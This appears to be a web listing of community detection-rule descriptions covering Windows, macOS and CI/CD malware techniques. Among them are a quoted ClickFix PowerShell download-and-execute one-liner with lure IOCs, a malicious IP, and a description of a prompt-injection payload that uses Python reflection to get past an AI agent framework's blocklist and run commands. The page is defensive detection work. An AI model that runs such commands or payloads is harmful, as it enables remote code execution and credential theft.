Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
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This rule detects potentially malicious activity involving the execution of WSF scripts from the AppData directory, followed by registry modifications using reg.exe or rundll32.exe. Additionally, it monitors for the creation or presence of specific suspicious files (clspack.exe, filetext.txt, prnfig.wsf) in user profile directories, often indicative of staging or persistence.
Detects anomalous command execution patterns indicative of DarkMe/Graphalgo-style RATs. The detection triggers when a single parent process initiates multiple suspicious C2-driven actions within a 24-hour window. These actions include executing Go language commands, Node.js script execution, or delayed self-deletion sequences.
Detects potential staging and execution chains involving remote MSI file fetching via msiexec.exe, or the execution of .wsf scripts or registry imports originating from or residing in AppData directories. This behavior is indicative of multistage malware delivery or persistence mechanisms where components are downloaded and executed using LOLBins.
Detects instances where a Terraform provider process initiates a child process that is either the Go runtime (executing 'go run') or a Windows command shell (cmd.exe, powershell.exe). This behavior is often indicative of malicious code execution during the provider's execution lifecycle, potentially exploiting vulnerabilities in the Terraform provider ecosystem.
This rule detects the use of PowerShell cmdlets often associated with enumerating COM object registrations, specifically targeting 'InProcServer32' registry keys. Such enumeration is a common reconnaissance step for identifying 'dangling' COM objects—registrations that point to missing or non-existent files—which can be exploited to achieve DLL Hijacking or persistence via COM hijacking.
Detects JavaScript loaders associated with the Exvicy/ErrTraffic campaign. The rule identifies obfuscated code that utilizes atob() for Base64 decoding, single-byte XOR operations, TextDecoder for content processing, and dynamic code execution via 'new Function()'. This pattern is commonly used to inject malicious payloads into compromised WordPress sites.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects malicious shell commands attempting to perform supply-chain persistence via environment variable manipulation in CI/CD environments. The rule identifies processes injecting BASH_ENV into GITHUB_ENV, a known technique used by the SCKIT supply-chain worm to perform credential harvesting during CI pipeline execution.
Detects malicious shell commands attempting to perform supply-chain persistence via environment variable manipulation in CI/CD environments. The rule identifies processes injecting BASH_ENV into GITHUB_ENV, a known technique used by the SCKIT supply-chain worm to perform credential harvesting during CI pipeline execution.
This rule detects the creation of potentially malicious script or executable files (.bat, .ps1, .exe, .vbs) within the Windows Startup folder. It triggers when these files are created by processes typically used for automation or development (dotnet, python) or processes utilizing specific semantic/download-related command lines. The rule further correlates this activity with the presence of PowerShell commands indicative of script downloading or code execution (e.g., IEX, DownloadString) by the same device within the same timeframe, suggesting persistent execution of potentially malicious code.
Detects instances where Windows Explorer (explorer.exe) spawns cmd.exe or wscript.exe to execute batch files (.bat) or scripts with specific filenames. This behavior is often associated with malicious user activity, such as executing payloads disguised as innocuous files triggered via shell interactions.
Detects the use of csc.exe (C# compiler) launched from PowerShell with hidden or bypass flags, as well as the subsequent execution of cvtres.exe. This activity is commonly associated with fileless malware techniques where helper classes or payloads are compiled and executed in-memory at runtime to evade detection.
Detects the execution of Node.js or Python interpreters from user-writable directories (AppData/Local) that are executing specific script files. This pattern is indicative of potential malicious activity where legitimate scripting languages are leveraged to run unauthorized payloads dropped into the user profile.
This rule detects malicious shell execution patterns associated with ClickFix-based social engineering campaigns, such as the Macfinger AMOS campaign. It monitors for the execution of common shell utilities (curl, wget, bash, sh) with suspicious command-line parameters ('force=1') interacting with known malicious IP addresses (45.150.33.128), as well as the execution of specific malicious files or network callbacks identified in these campaigns.
Detects instances where a user pastes and executes commands, specifically those containing reCAPTCHA verification strings or base64-encoded bash commands, within a macOS Terminal session. This behavior is indicative of a 'ClickFix' social engineering attack where a user is tricked into manually executing malicious commands in their shell.
Detects the execution of various system binaries (e.g., rundll32.exe, powershell.exe, regsvr32.exe) launched from a Temp directory where the parent or actor process is identified as rnpkeys.exe or rnp.dll. This behavior is indicative of potential malicious activity where legitimate tools or utilities (GnuPG/RNP) are being abused to proxy the execution of secondary payloads or scripts.
This rule detects the creation of potentially malicious script or executable files (.bat, .ps1, .exe, .vbs) within the Windows Startup folder. It triggers when these files are created by processes typically used for automation or development (dotnet, python) or processes utilizing specific semantic/download-related command lines. The rule further correlates this activity with the presence of PowerShell commands indicative of script downloading or code execution (e.g., IEX, DownloadString) by the same device within the same timeframe, suggesting persistent execution of potentially malicious code.
Detects malicious prompt injection payloads targeting AI agent frameworks, specifically designed to bypass Semantic Kernel's filter blocklist. The payload utilizes Python reflection mechanisms by crawling the type hierarchy (starting from a tuple) to locate and invoke 'BuiltinImporter.load_module()', effectively bypassing filters that look for direct references to forbidden modules or functions like '__import__', 'eval', or 'os'. This allows for indirect arbitrary command execution within the agent's application context.
This rule detects potential malicious activity by correlating device events against a known set of malicious file hashes, domains, and URLs. It identifies files with known malicious hashes, network connections to known malicious domains, and command-line processes attempting to download files from known malicious URLs using common living-off-the-land tools like PowerShell, curl, or wget.
Detects instances where the rnpkeys process (likely used for GPG-related operations) spawns common Windows living-off-the-land binaries such as rundll32, regsvr32, msiexec, cmd, powershell, or wscript. It specifically monitors for patterns indicating potential script execution from temporary folders, the bypass of PowerShell execution policies, or the installation of products via msiexec, which may indicate malicious activity following initial compromise or delivery of a malicious payload.
Detects the execution of known Python scripts (CES_Enroll.py, ntlm_ces_relay.py, ces_negotiate_ntlm.py) often associated with NTLM relay attacks or forced authentication techniques. These scripts leverage Python to interact with authentication protocols or relay requests.
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